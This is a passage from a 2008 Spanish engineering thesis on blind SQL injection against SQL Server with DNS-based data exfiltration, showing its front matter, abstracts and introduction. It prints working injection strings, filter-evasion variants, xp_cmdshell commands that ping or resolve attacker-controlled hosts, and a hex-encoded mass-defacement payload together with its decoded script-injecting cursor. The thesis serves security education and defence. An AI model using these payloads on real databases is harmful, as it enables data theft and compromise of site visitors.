UNIVERSIDAD PONTIFICIA COMILLAS

Transcripción

1 UNIVERSIDAD PONTIFICIA COMILLAS ESCUELA TÉCNICA SUPERIOR DE INGENIERÍA (ICAI) INGENIERO EN INFORMÁTICA PROYECTO FIN DE CARRERA WEAPONIZED BLIND SQL INJECTION EXPLOITATION AND CONTENT RETRIEVAL ON SQL SERVER SYSTEMS VIA DNS DATA EXFILTRATION AND CROSS-DMZ TUNNELING PERTRECHAMIENTO DE ATAQUES DE INYECCIÓN SQL CIEGA Y EXTRACCIÓN DE CONTENIDO EN SISTEMAS SQL SERVER MEDIANTE EXFILTRACIÓN DE DATOS VÍA DNS Y ENCAMINAMIENTO SOBRE LA ZONA DESMILITARIZADA AUTOR: Ángel Prado Montes DIRECTOR: Adrian Bethune Madrid, Septiembre 2008

2 Autorizada la entrega del proyecto del alumno/a: Angel Prado EL DIRECTOR DEL PROYECTO Adrian Bethune Fdo.: Fecha: / 09 / 08 Vº Bº del Coordinador de Proyectos David Contreras Bárcena Fdo.: Fecha: / 09 / 08

3 UNIVERSIDAD PONTIFICIA COMILLAS ESCUELA TÉCNICA SUPERIOR DE INGENIERÍA (ICAI) INGENIERO EN INFORMÁTICA PROYECTO FIN DE CARRERA WEAPONIZED BLIND SQL INJECTION EXPLOITATION AND CONTENT RETRIEVAL ON SQL SERVER SYSTEMS VIA DNS DATA EXFILTRATION AND CROSS-DMZ TUNNELING PERTRECHAMIENTO DE ATAQUES DE INYECCIÓN SQL CIEGA Y EXTRACCIÓN DE DATOS EN SISTEMAS SQL SERVER MEDIANTE EXFILTRACIÓN DE DATOS VÍA DNS Y ENCAMINAMIENTO SOBRE LA ZONA DESMILITARIZADA AUTOR: Ángel Prado Montes DIRECTOR: Adrian Bethune Madrid, Septiembre 2008

4 AGRADECIMIENTOS A mis padres, cuya tenacidad e insistencia ha permitido que mi formación académica llegase a buen puerto. A José Luís Gahete, por ser un referente en los buenos momentos y dificultades varias durante mi vida académica. A Miguel Ángel Sanz Bobi, por inspirarme en este arte llamado ingeniería bien antes de formar parte de esta casa. A todos mis grandes amigos de Microsoft USA y Microsoft Ibérica, con especial mención a mi colega Chema Alonso de informática 64 y MVP de Windows Security, cuya investigación sobre inyección de SQL a ciegas por tiempo con consultas pesadas me ha servido de gran referente. Por último, extender mis agradecimientos a Adrian Bethune, mi coordinador de proyecto en Estados Unidos y gran guía en mi aventura americana.

5 RESUMEN La inyección SQL es uno de los ataques más conocidos y documentados hoy en día, e identificado como uno de los vectores más frecuentes para ataques en aplicaciones web por el instituto internacional SANS en su informe anual de riesgos de seguridad En los comienzos de estos ataques, era más sencillo encontrar un sitio web vulnerable que uno que no lo fuese. A medida que avanzaron los años, los administradores de cortafuegos prepararon mecanismos de protección entorno a aplicaciones basadas en datos para evitar que los atacantes pudieran revertir conexiones TCP en su búsqueda insaciable para obtener información ajena cuando los métodos tradicionales de inyección con devolución de resultados no estaban presentes. Durante años, los diferentes agentes han sido alertados del peligro que suponen los ataques de inyección SQL ciega, si bien a día de hoy nos encontramos con numerosos sitios en operación, totalmente vulnerables. Los desarrolladores web y administradores de sistemas no son conscientes de cual es el impacto real de estas vulnerabilidades. Herramientas modernas como Absinthe, SQL Ninja o SQL Brute son capaces de explotar inyección SQL ciega hoy por hoy. Sin embargo, el actual estado del arte es un tanto lento y limitado al paradigma de la booleanización, que consiste en extraer 1 bit por cada consulta formulada específicamente para retornar un resultado verdadero o falso, o utilizando métodos de espera como WAITFOR para, lentamente, obtener datos de una forma binaria. Es evidente que ante la ausencia de métodos convencionales, la extracción de datos mediante inyección SQL ciega puede consumir mucho tiempo y producir un ruido de tráfico no deseable. Dado que la inyección es ciega, el atacante no puede obtener datos con los convencionales UNION SELECT o utilizar mensajes de error. Incluso con la ayuda de herramientas I

6 automatizadas, este proceso es lento dado que el atacante necesita una petición por cada bit de datos que desea extraer, resultando en cientos o miles de consultas. Estos métodos tradicionales son fácilmente detectados por mecanismos de detección de intrusos y no proporcionan un canal sostenible y estable para obtener los datos de una aplicación insegura. Este proyecto describe una nueva alternativa más veloz basada en el protocolo DNS como mecanismo de transmisión. Las diferentes técnicas que pueden utilizar los atacantes para explotar la exfiltración DNS también son ilustradas, introduciendo nuevas posibilidades para alcanzar lo que antes eran puntos de acceso de inyección ciega incontrovertibles. Esto permite a un atacante malicioso atravesar la cadena de resoluciones DNS y cruzar las zonas corporativas desmilitarizadas (DMZ) con una facilidad preocupante. Un atacante puede entonces capturar el tráfico desde su servidor DNS local y observar las consultas entrantes con datos encapsulados. Durante el curso de la investigación preliminar, se proveen ejemplos educativos para atacar a diferentes versiones de los motores de bases de datos Microsoft SQL Server, MySQL y Oracle. Si bien este proyecto está centrado alrededor de estas plataformas, el concepto es aplicable a la mayoría de los productos comerciales de bases de datos. Finalmente, la herramienta prueba de concepto en la que se basa este proyecto es revelada, cubriendo tópicos técnicos variados desde su desarrollo hasta los protocolos internos de transferencia hexadecimal. Se proporcionan demostraciones de escenarios donde se ejecuta la herramienta para mostrar las diferentes formas de obtener el esquema de una base de datos y los datos de sus diferentes tablas de una forma totalmente automatizada, utilizando DNS como el mecanismo principal de extracción. II

7 A diferencia de otras herramientas, lo que aquí se presenta no requiere disparidad alguna entre consultas satisfactorias e insatisfactorias para acometer su objetivo. Su ancho de banda es sustancialmente más rápido comparado con métodos existentes, dado que se pueden obtener hasta 200 caracteres por consulta, al contrario que los sistemas actuales de un bit simultaneo. Adicionalmente, la herramienta no requiere diferencias significativas en tiempo. Con la descripción del funcionamiento interno de estos nuevos ataques y la exposición de una herramienta automatizada para la explotación de los mismos, el autor pretende subrayar la importancia de establecer prácticas de desarrollo seguro para aplicaciones web, y no confiar la seguridad de sitios online enteramente a defensas perimetrales muchas veces configuradas inconsistentemente. El propósito último es que la comunidad se percate de que la información confidencial es extremamente susceptible a estos ataques, y sólo se requiere un punto de acceso SQL para comprometer la seguridad de una organización al completo. III

8 ABSTRACT SQL Injection is widely known and documented as one of the top two attack vectors for web applications, as identified by the international SANS institute in the 2007 annual security risks update. In the early days of these attacks it was almost easier to locate a vulnerable website than not. More and more, firewall administrators setup protection mechanisms around data driven applications to prevent attackers from easily reverting TCP connections on their quest for private data leaking whenever the obsolete verbose methods are not present. For years, people have been warned about blind SQL injection attacks, yet to this day we still find plenty of vulnerable websites out there. Web developers and system administrators do not fully realize what the real impact of these vulnerabilities is. Modern tools like Absinthe, SQL Ninja or SQL Brute assist in exploiting blind SQL injection today. However, the current state of the art is rather slow and limited to the data booleanization paradigm, which consists in extracting 1 bit at a time by asking yes or no queries or using WAITFOR delay methods in order to slowly retrieve data in a bitwise fashion. It s clear that when conventional methods are not possible, exfiltrating data via blind SQL injection vulnerabilities can be rather time-consuming, not to mention undesirably noisy. Since the injection is blind, the attacker can t just retrieve data with a conventional UNION SELECT or by using standard error messages. Even with the help of automated tools, this process is slow due to the fact that an attacker would normally require 1 request for each bit of data to be extracted, resulting in several hundreds or even thousands of queries. Traditional exploitation of blind SQL injection easily triggers intrusion detection mechanisms and does not provide a reliable channel for obtaining data back from a compromised application

9 This project describes a new, faster alternative based on DNS. The different techniques for attackers to take advantage of SQL Injection vulnerabilities using DNS exfiltration are also illustrated, unlocking new possibilities of reaching previously incontrovertible blind SQL injection access points. This enables an attacker to easily traverse the DNS resolver chain and happily cross corporate demilitarized zones (DMZ). An attacker can then sniff traffic to his DNS server endpoint and watch for incoming encapsulated data requests. During the course of the preliminary research, educational exploitation examples for different versions of Microsoft SQL Server, MySQL and Oracle database engines are provided. While this project and tool are focused around these platforms, the concept is applicable to most commercial database products. Finally, the proof-of-concept tool this project revolves around is revealed, covering topics ranging from its development to the internal hexadecimal data transfer protocols. The tool is exercised in a comprehensive way to evidence the different ways to fetch a database schema and data from its tables in an automated fashion, by using DNS as its core exfiltration mechanism. Unlike other tools, what is presented here does not require any disparity between successful and unsuccessful queries to work. Its throughput is substantially faster than existing methods since it can retrieve up to 200 characters per query, versus the conventional one byte of information at a time approaches. In addition, noticeable differences in timing are not required. By describing the inner workings of these new attacks and providing an automated tool for its exploitation, the author aims to stress the importance of establishing secure development best practices for web applications and not only to entrust site security to the loosely configured perimeter - 2 -

10 defences. The ultimate purpose is to help people realize that their confidential information is extremely susceptible to these attacks, and it only takes one SQL access point to compromise an entire organization

11 ÍNDICE 1. Introducción y Planteamiento del proyecto Introducción Conceptos básicos SQL Inyección SQL Técnicas de evasión de filtrado Protocolo DNS DMZ Shell inversa Sistemas IDS Motivación Objetivos principales del proyecto Estado del arte Técnicas de exfiltración de datos Inyección con salida directa HTML en línea Inyección Ciega Basada en errores Basada en cambio en página Basada en tiempo con consultas pesadas Alternativas Nueva técnica: Exfiltración DNS Conceptos fundamentales Exfiltración DNS Obteniendo la estructura de tablas Desarrollo

12 Introducción Funcionamiento interno Protocolo de codificación sobre DNS Arquitectura Limitaciones de DNS Gestión de duplicados Integridad de envíos Como evitar ataques SQL Análisis económico del proyecto Introducción Coste de investigación Coste de tecnología Coste de implantación Costes operacionales Conclusión Planificación del proyecto Trabajo futuro y conclusiones Bibliografía Anexo I: Código fuente, binarios y manual

13 Capítulo 1 Introducción y Planteamiento del proyecto - 6 -

14 1.1 INTRODUCCIÓN Hoy por hoy los vectores de ataque basados en inyección SQL son sobradamente entendidos por la comunidad, y el número de sitios web que son vulnerables crece continuamente de una forma alarmante. En el pasado, era bastante común que los servidores SQL comprometidos en ataques estuvieran detrás de un cortafuegos bastante liberal, facilitando al atacante conectar a su IP de destino o proxy desde el servidor SQL comprometido mediante una shell inversa para establecer un canal funcional. Sin embargo, últimamente, los administradores de firewall han comenzado a imponer bloqueos y políticas de seguridad para las aplicaciones basadas en datos (data driven applications) y mejoraron sus arquitecturas de seguridad. Fue entonces cuando los hackers empezaron a comprender que las conexiones reversas TCP, fundación de muchas shells inversas y ataques clásicos, ya no eran tan efectivas. Es patente que los ingenieros de cortafuegos estaban adelantados en su tiempo a los desarrolladores de aplicaciones web. Esto dejo a las mentes siempre creativas de aquel que desea la información ajena con dos opciones obvias: Encontrar un canal UDP para determinar si la ejecución del código era satisfactoria, o hacer uso de ataques basados en tiempo o errores para determinar si el código se llegaba a ejecutar satisfactoriamente. Una alternativa interesante, es que la mayoría de implantaciones de sistemas operativos proveen un canal UDP para determinar si nuestro código se está ejecutando satisfactoriamente, gracias al ubicuo comando nslookup. Básicamente, si un atacante creía que se estaba ejecutando su sentencia a través de una cadena de inyección SQL, el siguiente código bastaría para una simple verificación: Ángel Prado Septiembre

15 exec master..xp_cmdshell('ping n 10 ip.ata.can.te'). De esta forma, el atacante monitorizaría el trafico dns hacia su máquina, mediante herramientas como netcat o capturando el trafico utilizando sniffers a nivel de red como ethereal. Si el atacante era capaz de ver una consulta ICMP procedente del servidor infectado, esto sería una clara señal de que la ejecución ciega estaba ocurriendo satisfactoriamente. En caso de que el servidor bloquease tráfico ICMP, una simple resolución de nombre de dominio serviría como punto de contacto: exec master..xp_cmdshell('nslookup mihostname.es') De esta forma, incluso si SQL Server fuese incapaz de realizar peticiones DNS externas directamente, la petición de nslookup atravesaría la cadena de resolución y eventualmente algún servidor DNS transferiría mediante delegación la petición inicial hacia el servicio residente en mihostname.es Esto sirve exclusivamente como propósito de confirmación: cuando el atacante lleva a cabo su inyección, simplemente necesita capturar el tráfico entrante en su servidor DNS para ver las peticiones externas, y confirma que efectivamente, xp_cmdshell y cualquier código asociado se ejecuto satisfactoriamente en la máquina víctima. Aunque el puerto UDP estuviera abierto, no se puede establecer una conexión directa con el atacante bajo UDP:53 pues el cortafuegos lo impedirá en condiciones normales. Sin embargo, nada nos impide hacer Ángel Prado Septiembre

16 llegar la confirmación mediante el sistema de delegación en cadena propio de DNS. La siguiente figura ilustra este concepto: Si bien esto es innovador, este proyecto estudiará y llevará a cabo la posibilidad de obtener más que una mera confirmación de ejecución a través de la consulta DNS. Las técnicas que se han utilizado hasta ahora para transmitir datos en inyecciones ciegas (no solo confirmación de éxito) utilizaban cmd.exe o /bin/sh con varios bucles para inyectar SQL, y posteriormente tratar de establecer una conexión inversa con la máquina atacante o un pivote. Para establecer la conexión, se suele utilizar algún puerto común con posibilidades de estar abierto, como por ejemplo el 80. Tras establecer la conexión, facilitaría al atacante los datos que desease (exportar la base de Ángel Prado Septiembre

17 datos entera, por ejemplo), o permitiría la habilidad de ejecutar comandos remotos vía shell con un redirector de comandos. Este tipo de ataque exigía subir un binario a la máquina objetivo, y posteriormente que el binario pudiese realizar una conexión inversa desde la máquina atacante vía TCP, y además asumir que la máquina del atacante estuviera escuchando por TCP y online en ese momento, y no fuera desconectada por el proveedor de servicios. El hecho de poder subir ficheros remotamente a la máquina víctima y establecer conexiones TCP salientes es ya poco frecuente debido a las nuevas políticas de seguridad actuales. La pregunta es ambiciosa: Podemos ejecutar comandos y transferir contenidos enteros de una base de datos mediante inyección SQL en páginas cuyo ataque resulta en una salida completamente normal (inyección ciega)? Todo ello automatizado, sin necesidad de requerir privilegios elevados, sin tener que subir ejecutables, independiente de la arquitectura y marca de base de datos, y sin requerir tráfico TCP saliente. Como diría Michael Howard, experto de seguridad en Microsoft Corp. y autor del famoso libro Writing Secure Code: Una entrada al sistema es un mal hasta que se demuestre lo contrario. Y es precisamente lo que vamos a respaldar. 1.2 CONCEPTOS BÁSICOS A continuación se ofrece una definición de los diferentes conceptos preliminares que serán utilizados a lo largo de las páginas venideras SQL Ángel Prado Septiembre

18 SQL (Structured Query Language) es el lenguaje declarativo de consulta estructurado de acceso a bases de datos diseñado para la obtención y gestión de datos en sistemas relacionales de bases de datos (RDBMS). Además, provee la creación y modificación de esquemas y acceso a objetos. Algunos de los sistemas más populares con los que interactuaremos son Microsoft SQL Server, Oracle SQL, IBM DB2 y MySQL. Hoy en día todos los lenguajes de programación web populares como PHP, ASP, JSP y RUBY proveen interfaces, no siempre seguras, para conectar con estos sistemas de bases de datos INYECCIÓN SQL La inyección SQL, también conocida como SQL Injection consiste en insertar código SQL dentro de un parámetro web HTTP GET o POST que forma parte de una variable que posteriormente se incluirá como parte de una consulta SQL superior, con el objetivo de alterar su comportamiento habitual. Esto sucede debido a un pobre e insuficiente filtrado a nivel de validación de la aplicación, que nos permite insertar código SQL malicioso dentro de variables que son posteriormente utilizadas para realizar un propósito diferente al inicialmente pensado por el programador. Caso práctico Imaginemos que tenemos una página web que nos permite ver el perfil del usuario actual. Por ejemplo: El código residente en verperfil.aspx contiene lo siguiente: Ángel Prado Septiembre

19 resultado := "SELECT * FROM usuarios WHERE identificadorusuario = '" + Request.Get("ID") + "';" Uno podría pensar, a buen criterio, que quizás podríamos acceder al perfil de otro usuario mediante la siguiente consulta: Pero suponiendo que hubiera alguna cookie o gestión lógica de sesión que nos lo impidiera, siempre podríamos explotar una vulnerabilidad SQL mediante la inserción del siguiente parámetro en la variable GET, para acceder ilegalmente a todos los usuarios escapando de la consulta original: ID= OR '1'= '1' Aunque la mayoría de las implementaciones de SQL Server permiten ejecutar varias consultas a la vez, la función de php mysql_query solo permite una consulta por motivos de seguridad. Sin embargo esto no impide que usuarios malintencionados modifiquen la consulta. El siguiente ejemplo es una inyección que borraría la tabla de usuarios en un sistema que permitiera múltiples consultas: ID=a';DROP TABLE users; Por último, un ejemplo más sencillo suponiendo que podemos ver por entero la salida de nuestra consulta SQL, sería realizar una subconsulta (subquery) o un enlace UNION para obtener los datos que buscamos: ID=1 UNION SELECT * FROM usuarios Ángel Prado Septiembre

20 Como podemos ver, un atacante puede alterar fácilmente cualquier consulta susceptible de inyección para lograr un resultado funcional pero esperado por la aplicación. Evidentemente el ataque es tan peligroso en la medida de los datos que se desean interceptar. Los atacantes no necesitan ni siquiera ser conocedores del lenguaje estructurado. Decenas de herramientas como SQL Ninja o Metasploit proveen frameworks para utilizar todo tipo de payloads de una forma automatizada, y obtener información privada, tarjetas de crédito, y contraseñas. A menudo, la información más valiosa suele estar con un hash aplicado. Aplicaciones populares utilizan md5 que promete encriptar contraseñas sin guardar su valor. La realidad es que cualquier clave en md5 puede romperse en unos 20 minutos utilizando técnicas de como tablas de lookup precomputadas (rainbow tables). SQL Ninja automatizando un ataque SQL, en acción En resumen, un agujero de este tipo deja prácticamente nuestra base de datos en manos de hackers maliciosos y su creatividad. Las protecciones Ángel Prado Septiembre

21 por defecto no son suficientes como veremos en los capítulos subsiguientes, si bien expondremos las mejores prácticas para detener este tipo de ataques TÉCNICAS DE EVASIÓN DE FILTRADO Si bien es cierto que los desarrolladores y fabricantes de software han creado soluciones para evitar esta creciente amenaza, los atacantes, incansables en su odisea, siempre encuentran una forma creativa de saltarse mencionadas protecciones. La detección de ataques SQL se ha realizado históricamente mediante expresiones regulares o firmas de keywords previamente establecidas, lo que se conoce como blacklisting. Sin embargo esta técnica ya no es efectiva y los atacantes son capaces de encontrar consultas que pasarán inadvertidas a través de las múltiples capas de infraestructura, incluso engañando a web firewalls y módulos como el popular apache mod_security. Las expresiones regulares fracasan porque no pueden expresarse para todos los campos. Por ejemplo, no existe virtualmente ninguna expresión regular o patrón que pueda regular la descripción de una dirección física. Inicialmente, los sistemas de detección basados en firmas y patrones funcionaban con precisión dado que los ataques realizados eran muy básicos y utilizaban comandos SQL relativamente simples. Un simple ;DELETE FROM USERS WHERE 1=1 era suficiente para destrozar los datos de una organización si los desarrolladores no habían anticipado esa posibilidad. Sin embargo, estas técnicas rápidamente se encontraron con nuevos mecanismos de protección basados en reconocimiento de patrones. Las variaciones del lenguaje permiten construir expresiones sintácticamente válidas si bien intrínsicamente peligrosas. El problema fundamental radica en que SQL permite muchas variaciones en la forma de que los comandos Ángel Prado Septiembre

22 son construidos, incluyendo codificación multilenguaje, variación de espacios, comentarios... Ataque SQL tradicional: OR 1 = 1 Técnica de evasión: manipulación de espacios Nuevo ataque: OR 1 = 1 Ataque SQL tradicional: &id=111 UNION /* */ SELECT * Técnica de evasión: rotura de comentarios para evitar expresiones regulares basadas en lista negra (SELECT, UNION ) Nuevo ataque: &id=111/*este es un comentario */UN/* puedes */IO/* encontrar */N/**/S/**E/* */LE/* el parámetro maligno?*/ct/*difícilmente */ Ataque SQL tradicional: 1 UNION SELECT ALL FROM TABLE Técnica de evasión: Codificación decimal Ángel Prado Septiembre

23 Nuevo ataque: &#49&#32&#85&#78&#73&#79 &#69&#82&#69 Ataque SQL tradicional: OR 1 = 1 Técnica de evasión: variación de temática Nuevo ataque: OR ciudad = ciudad Este tipo de variaciones son más frecuentes de lo que parecen. Recientemente, decenas de miles de máquinas ejecutando instancias SQL Server con validación de parámetros insegura fueron comprometidas por una rede de robots (botnet) automatizada que reemplazaba todas las entradas de la base de datos con un iframe apuntando a JavaScript malicioso. El código utilizado en cuestión tiene el siguiente patrón: Ángel Prado Septiembre

24 C C C F F F F C E006E D C E006E D F006D F A C F006C D006E E D E E E D E E D F E D F E D F E D F E C F F E F004D C F F E F C C F D E B B B D B B B D003D D F006E C005B B B D B C D A002F002F E E F006D002F A E0 06A E003C002F E E F004D C F F E F C E C004F C F F C004C004F C Lo cual obviamente salta cualquier protección firewall, sobre todo si se transmite mediante HTTP POST, al carecer de expresiones reconocibles para cortafuegos a nivel lógico. Ángel Prado Septiembre

25 Este código, una vez descifrado por el agente SQL, se traduce en lo siguiente varchar(255) DECLARE Table_Cursor CURSOR FOR Select a.name,b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']= rtrim(convert(varchar,['+@c+']))+ ''<script src= FETCH NEXT FROM Table_Cursor END CLOSE Table_Cursor DEALLOCATE Table_Cursor Esto es posible debido a la evasión utilizada mediante el comando CAST() que convierte el largo texto en hexadecimal a NVARCHAR y finalmente ejecuta dicha cadena de texto. El código SQL que finalmente se ejecuta efectivamente hace un bucle sobre todas las columnas textuales de la base de datos y adjunta un script HTML que comprometerá los navegadores vulnerables de todos los visitantes del sitio legítimo. Todo ello en un proceso automatizado mediante una botnet distribuida. Ángel Prado Septiembre

26 La pregunta de cómo un atacante encuentra sitios vulnerables es algo a lo que no vamos a dedicar tiempo en este proyecto. Desde un escaneo heurístico en alojamiento compartido hasta métodos tan rústicos como búsquedas en Google sobre un nombre determinado de script php/asp/jsp vulnerable se pueden combinar para encontrar una lista interminable de víctimas PROTOCOLO DNS El servicio de DNS (Domain Name System) es un sistema de nombres de dominio utilizado para asignar nombres (hostnames) a los diferentes ordenadores y dispositivos en Internet. Nos permite resolver nombres de máquinas (A ZONEs) a direcciones IP y viceversa (reverse dns lookup). Por ejemplo, host: se traduce a la dirección IP estática El protocolo DNS tiene una estructura jerárquica de dominios, separados por puntos y que empiezan por el subdominio inferior o de primer nivel. Las normas para los dominios vienen determinadas por la ICANN (Internet Corporation for Assigned Names and Numbers). Dominios de nivel superior incluyen.com (comercial),.net (networking) y.org (organización). Dominios geográficos suponen otra gran parte de la distribución total, por ejemplo.es indica España y.us es el símbolo para los Estados Unidos de América. En el protocolo DNS, cada dominio por debajo de los dominios de primer nivel puede estar formado como máximo por 63 caracteres (este es un dato importante que utilizaremos más adelante). Generalmente la longitud Ángel Prado Septiembre

27 máxima de un dominio en total, incluyendo dos niveles de subdominio no debe exceder los 200 caracteres. No se permite el uso de caracteres especiales. Simplemente a-z, A-Z, 0-9 y el guión simple -. Una solicitud DNS se realiza generalmente por el puerto UDP 53 (NAMESRV). El cliente pide al servidor DNS inmediato que tenga configurado la resolución de dicho host. En el caso de que el servidor no tenga dicho host en el caché, o que esté en el caché pero con un TTL expirado, el servidor inmediato delegará la petición hacia arriba de la cadena, hasta llegar eventualmente a un servidor que conozca la respuesta o hacia los registros NS del denominado root server (servidor raíz), que devolverá la IP del dominio en cuestión y delegará en sus registros NS para resolver cualquier subdominio asociado. Finalmente, el servidor DNS del dominio a resolver tiene la última palabra sobre que IP corresponde a que subdominio, y trata directamente todas las consultas que no se encuentren almacenadas en la caché. El comando nslookup puede indicarnos cuales son los servidores NS principales asociados a un dominio determinado. El concepto del TTL es particularmente interesante: indica el tiempo que un servidor DNS tiene permitido mantener en la caché cualquier registro existente. Si el TTL es muy bajo, se forzará una consulta hacia dicho dominio tan pronto expire y una nueva query lo requiera. Cabe remarcar que el protocolo DNS es de por si inseguro. Dan Kaminsky, de IOActive y Microsoft USA descubrió recientemente una vulnerabilidad crítica que permite falsificar en cuestión de segundos cualquier dirección DNS en servidores vulnerables. El problema radica en que las direcciones IP de origen pueden ser imperdonadas debido al diseño de UDP, y que el ID de transacción de DNS TXID es de 16 bits, lo cual es débil y fácilmente crackeable. Si esto no fuera suficiente, no es necesario esperar a la expiración del TTL para proseguir con la adivinación del TXID tras un intento Ángel Prado Septiembre